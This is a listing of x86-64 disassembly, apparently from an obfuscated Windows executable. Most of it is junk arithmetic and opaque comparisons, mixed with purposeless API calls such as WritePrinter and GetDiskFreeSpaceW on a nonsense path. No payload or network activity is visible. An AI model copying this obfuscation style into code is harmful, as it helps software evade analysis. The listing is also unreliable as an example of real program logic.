mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rcx, qword [rsp + 0x4ad8]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [rsp + 0x2a84], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
jmp 0x140006258
lea rcx, [rsp + 0x16fb0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x2998], eax
jmp 0x1400f873e
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4cb8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x1400f873e
cmp dword [rsp + 0x29e8], 0x75ae
ja 0x14000665e
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x29e8]
add eax, 0x1b
mov dword [rsp + 0x29e8], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4bd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x140113008], rax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4bb0]
mov qword [rsp + 0x4d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d08]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov dword [rsp + 0x2a88], eax
movzx eax, byte [rsp + 0x36]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x31], al
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x2a4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x850], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
shl eax, cl
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov eax, dword [0x140114150]
mov rcx, qword [rsp + 0x4b88]
mov qword [rsp + 0x4d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x84c], ax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
and eax, ecx
mov byte [rsp + 0x37], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x858], ax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
jmp 0x140006298
cmp dword [rsp + 0x2a70], 0x49ad
jb 0x140006b0d
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4ba0], rax
mov eax, dword [rsp + 0x2a4c]
mov rcx, qword [rsp + 0x4bb0]
mov qword [rsp + 0x4d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d18]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x37], al
movsx eax, word [0x140113004]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x84c], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x36], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34]
or eax, ecx
mov byte [rsp + 0x31], al
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
sar eax, cl
mov byte [rsp + 0x36], al
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2a20]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4bd0]
mov qword [rsp + 0x4d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d20]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x2a70]
sub eax, 0xcf
mov dword [rsp + 0x2a70], eax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x37]
add eax, ecx
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x34]
and eax, ecx
mov byte [rsp + 0x31], al
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x29bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
sar eax, cl
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
or eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [0x140113008], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cb8], rax
jmp 0x14000665e
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2a88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [rsp + 0x4d28], rax
movabs rax, 0x73e70c886d29f9
cmp qword [rsp + 0x4d28], rax
je 0x140006b4f
jmp 0x140006b65
mov rax, qword [rsp + 0x4bc8]
movzx ecx, word [rax]
call fcn.1400fa180
nop
jmp 0x1400f86e9
movzx eax, word [rsp + 0x854]
mov dword [rsp + 0x2a8c], eax
cmp dword [rsp + 0x2a8c], 0xabf
je 0x140006b83
jmp 0x140006bd8
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sar eax, cl
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4c60]
mov qword [rsp + 0x4d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
jmp 0x1400f8679
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4c00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4bf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a1c]
add eax, 0x71
mov dword [rsp + 0x2a1c], eax
movsx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x854]
sub eax, ecx
mov word [rsp + 0x848], ax
movsx eax, word [rsp + 0x840]
movsx ecx, word [0x140113004]
add eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a4c]
add ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x29d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4d38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
shl eax, cl
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
xor eax, ecx
mov byte [rsp + 0x32], al
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x848], ax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x38]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a3c]
mov ecx, dword [rsp + 0x29bc]
and ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cd0], rax
cmp dword [rsp + 0x2a1c], 0xdfe5
jbe 0x140006bd8
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b78]
mov rdx, qword [rsp + 0x4b80]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140006f2c
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov dword [rsp + 0x2a90], eax
cmp dword [rsp + 0x2a90], 0xca
je 0x140006ebc
cmp dword [rsp + 0x2a90], 0x490
je 0x140006ee0
jmp 0x140006f2c
movzx r8d, byte [rsp + 0x38]
mov rax, qword [rsp + 0x4bc0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4cd8]
movzx ecx, byte [rax]
call fcn.1400f90e0
nop
jmp 0x140006f2c
mov word [rsp + 0x20], 0x51
mov r9d, 0x69
lea r8, [rsp + 0x169b0]
mov edx, 0xc8
mov ecx, 0xca
call qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
movzx ecx, byte [rsp + 0x36]
movzx edx, byte [rsp + 0x34]
sub ecx, edx
cmp eax, ecx
jge 0x140007093
lea r9, [rsp + 0x167d0]
mov r8d, 0xc4
lea rdx, [rsp + 0x167e0]
mov ecx, 0xce
call qword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov dword [rsp + 0x29c4], eax
movsx eax, word [rsp + 0x84c]
mov dword [rsp + 0x2a94], eax
cmp dword [rsp + 0x2a94], 0x25c
je 0x14000706e
cmp dword [rsp + 0x2a94], 0x62f
je 0x140006fac
jmp 0x14000708e
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x37]
sub ecx, edx
cmp eax, ecx
jge 0x14000706c
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [0x140113008], rax
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x4bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
xor edx, edx
mov ecx, 0xf2
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [rsp + 0x2a98], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b28]
shl rax, cl
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
jmp 0x14000708e
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x854], ax
jmp 0x1400f8572
movzx eax, word [rsp + 0x848]
mov dword [rsp + 0x2a9c], eax
cmp dword [rsp + 0x2a9c], 0xa04
je 0x1400070b4
jmp 0x140007282
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d40], rax
mov rax, qword [rsp + 0x4b80]
cqo
idiv qword [rsp + 0x4cb8]
mov rcx, qword [rsp + 0x4d40]
cmp rcx, rax
jge 0x140007239
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x37]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
lea rax, [rsp + 0x4cc0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x2aa0]
mov r8d, dword [rsp + 0x2aa4]
lea rdx, [rsp + 0x2994]
mov rcx, qword [rsp + 0x4d48]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
mov dword [rsp + 0x2970], eax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x38]
add eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4d50], rax
movabs rax, 0x712cd4218e23bb
cmp qword [rsp + 0x4d50], rax
je 0x140007199
movabs rax, 0x765bdf9cdff770
cmp qword [rsp + 0x4d50], rax
je 0x14000721a
jmp 0x140007237
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4b80]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400071fc
mov rax, qword [rsp + 0x4c08]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4b08]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x848]
movzx ecx, word [rsp + 0x850]
call fcn.1400faaa0
nop
jmp 0x140007218
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
jmp 0x140007237
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [rsp + 0x84c], ax
jmp 0x14000727d
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x38]
sar eax, cl
movsx ecx, byte [rsp + 0x37]
movsx edx, byte [rsp + 0x32]
and ecx, edx
cmp eax, ecx
jle 0x14000727d
lea r9, [rsp + 0x4b28]
mov r8d, 0x3f
mov edx, 0xea
mov rcx, qword [rsp + 0x4b60]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x4ae8], rax
jmp 0x14000731a
lea rax, [rsp + 0x850]
mov qword [0x140114158], rax
lea rax, [rsp + 0x29bc]
mov qword [rsp + 0x4d58], rax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b80], rax
mov dword [rsp + 0x2aa8], 0xa078
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x4d60], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
shl eax, cl
mov byte [rsp + 0x36], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x854]
or eax, ecx
mov word [rsp + 0x848], ax
mov eax, dword [rsp + 0x2980]
mov dword [rsp + 0x2aac], eax
cmp dword [rsp + 0x2aac], 0
je 0x140007478
cmp dword [rsp + 0x2aac], 0x7f76
je 0x140007348
jmp 0x140007501
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
xor eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x4c98]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140007459
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4d70], rax
movabs rax, 0x7acde65585bf6b
cmp qword [rsp + 0x4d70], rax
je 0x1400073dc
jmp 0x140007438
lea r9, [rsp + 0x4cc0]
mov r8d, 0x17
lea rdx, [rsp + 0x4ad8]
mov rcx, qword [rsp + 0x4b60]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx eax, ax
mov dword [rsp + 0x29f0], eax
jmp 0x140007457
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
jmp 0x140007473
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2a5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2980], eax
jmp 0x140007501
mov rax, qword [rsp + 0x4d60]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov rdx, qword [rsp + 0x4b08]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x1400074f6
movzx eax, word [rsp + 0x844]
mov dword [rsp + 0x2ab4], eax
cmp dword [rsp + 0x2ab4], 0xb03
je 0x1400074c3
jmp 0x1400074f6
mov rax, qword [rsp + 0x4c08]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4d60]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4c78]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4b70]
movzx ecx, word [rax]
call fcn.1400faaa0
nop
mov dword [rsp + 0x2ab8], 0x5351
lea rax, [0x140114150]
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x2abc], eax
cmp dword [rsp + 0x2abc], 0x2614
je 0x14000752d
jmp 0x14000758c
lea rax, [rsp + 0x4d78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4cd8]
lea r8, [rsp + 0x29c4]
lea rdx, [rsp + 0x84c]
lea rcx, str.C:Fillpolesgourmand
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
jmp 0x14000766c
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [rsp + 0x850]
mov rdx, qword [rsp + 0x4b70]
movsx edx, word [rdx]
xor ecx, edx
